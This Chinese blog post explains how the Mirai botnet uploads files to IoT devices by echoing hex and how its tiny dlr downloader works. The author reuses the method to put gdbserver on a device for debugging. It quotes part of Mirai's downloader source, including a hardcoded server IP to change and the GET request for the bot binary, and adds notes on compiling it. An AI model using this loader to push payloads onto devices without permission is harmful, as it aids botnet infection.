文章目錄
  1. 1. Mirai的echo上传文件机制
  2. 2. Mirai的tools目录
  3. 3. Mirai echo upload使用的文件
  4. 4. 编译方式
  5. 5. python操作串口
  6. 6. 遇到的坑:

物联网设备系统资源有限,所以操作系统都会进行精简。之前在乌云看到对某个智能设备木马的分析,其中采用了使用echo写16进制,写一个简单的wget到设备上。可见这个思路在很早之前就已经被广泛使用了。最近在分析智能设备的过程中,也遇到了同样的问题,想要传一个gdbserver到设备上,但是没有wget之类下载工具,只能采用echo的方式。从想法到实际上完成还是经过了一些尝试。

Mirai的echo上传文件机制

针对Mirai已经有了不少的分析文章,大多集中在分析bot的功能,对echo的上传的文件的方式也有提及。但是缺少一些能在实际项目中应用的细节。下面截图出自RSA会议的截图。

Mirai在源码中定义了3中下载bot的方式。

显然,echo的方式是最通用的。通过直接16进制到文件。

Mirai的tools目录

接下来只要搞定echo哪个文件就可以了,直接echo一个大文件显然是不现实的,需要找一个有下载文件功能的足够小的程序。首先关注到的是Mirai的tools的文件夹。显然wget.c应该是下载文件用的。

下图是绿盟科技在Mirai源码分析报告的截图。不过他这里有个小失误,wget确实是下载文件用的。但是作者在测试的时候,直接运行的wget命令,显然是操作系统自带的wget工具。

mirai的wget的命令格式为: wget ip_address remote_file host

经过测试,发现指定-static参数之后,这个wget大小也有几百K。放在那跑了一晚上,第二天一看设备挂掉了。。。。

Mirai echo upload使用的文件

mirai使用echo方式上传的时候,首先上传一个很小的文件,用于下载mirai。大小为1K左右。目录为dlr

大部分分析文章都忽略了这个文件夹。其中,main.c是源码,build.sh是编译脚本,release是编译完成的2进制文件。

先看一下build.sh

可以看到他采用了一些优化的手段来减少最终的文件的大小。经过strip之后,文件体积大致为原来的一半左右。

main.c中下载的地址都是写死的,编译之前需要修改ip和文件名。

    #define HTTP_SERVER utils_inet_addr(127,0,0,0) // CHANGE TO YOUR HTTP SERVER IP

#ifdef DEBUG
printf("Connected to host\n");
#endif

if (write(sfd, "GET /bins/mirai." BOT_ARCH " HTTP/1.0\r\n\r\n", 16 + arch_strlen + 13) != (16 + arch_strlen + 13))
{
#ifdef DEBUG
printf("Failed to send get request.\n");
#endif
以及增加
#define DEBUG 

用来输出调试信息。

编译方式

参考Mirai木马总结—从源码到反汇编

python操作串口

代码实现也有遇到一些问题,比如一次写多少个字节效率最高。mirai是一次写128个字节。

具体代码关注公众号获取~~

遇到的坑:

1,mac上输入串口密码的问题
2,文件的大小端?
3, 不明原因的卡死
4, 长时间写串口把设备写重启。
5,cc1: error: main.c: Value too large for defined data type
磁盘mount的问题。在docker挂载的目录中编译导致的,直接copy到docker里面编译即可。
https://stackoverflow.com/questions/2438890/cc1plus-error-include-value-too-large-for-defined-data-type-when-compiling-wi
6,编译版本的问题导致illegial instruction

mirai编译的文档中只有armv4,armv5,armv6的版本,但是给出的bin中却有v7的版本,在我使用的设备上,只有v7是可以执行的,其他都是报非法的指令错误。使用https://github.com/dockcross/dockcross 编译成功。

7,gdbserver编译 https://github.com/mzpqnxow/gdb-static-cross

参考资料:

http://blog.nsfocus.net/mirai-source-analysis-report/
http://www.freebuf.com/articles/terminal/117927.html
https://xmsg.org/wordpress/2016/12/mirai%E6%BA%90%E4%BB%A3%E7%A0%81%E5%88%86%E6%9E%90ppt-%E5%88%86%E6%9E%90%E4%BA%86mirai-ddos%E7%89%B9%E6%80%A7-%E5%B9%B6%E7%BB%99%E5%87%BA%E4%BA%86mirai-ddos%E9%98%B2%E6%8A%A4%E6%8E%AA%E6%96%BD/
http://www.nolanzong.com/2017/01/09/mirai-setup/

文章目錄
  1. 1. Mirai的echo上传文件机制
  2. 2. Mirai的tools目录
  3. 3. Mirai echo upload使用的文件
  4. 4. 编译方式
  5. 5. python操作串口
  6. 6. 遇到的坑: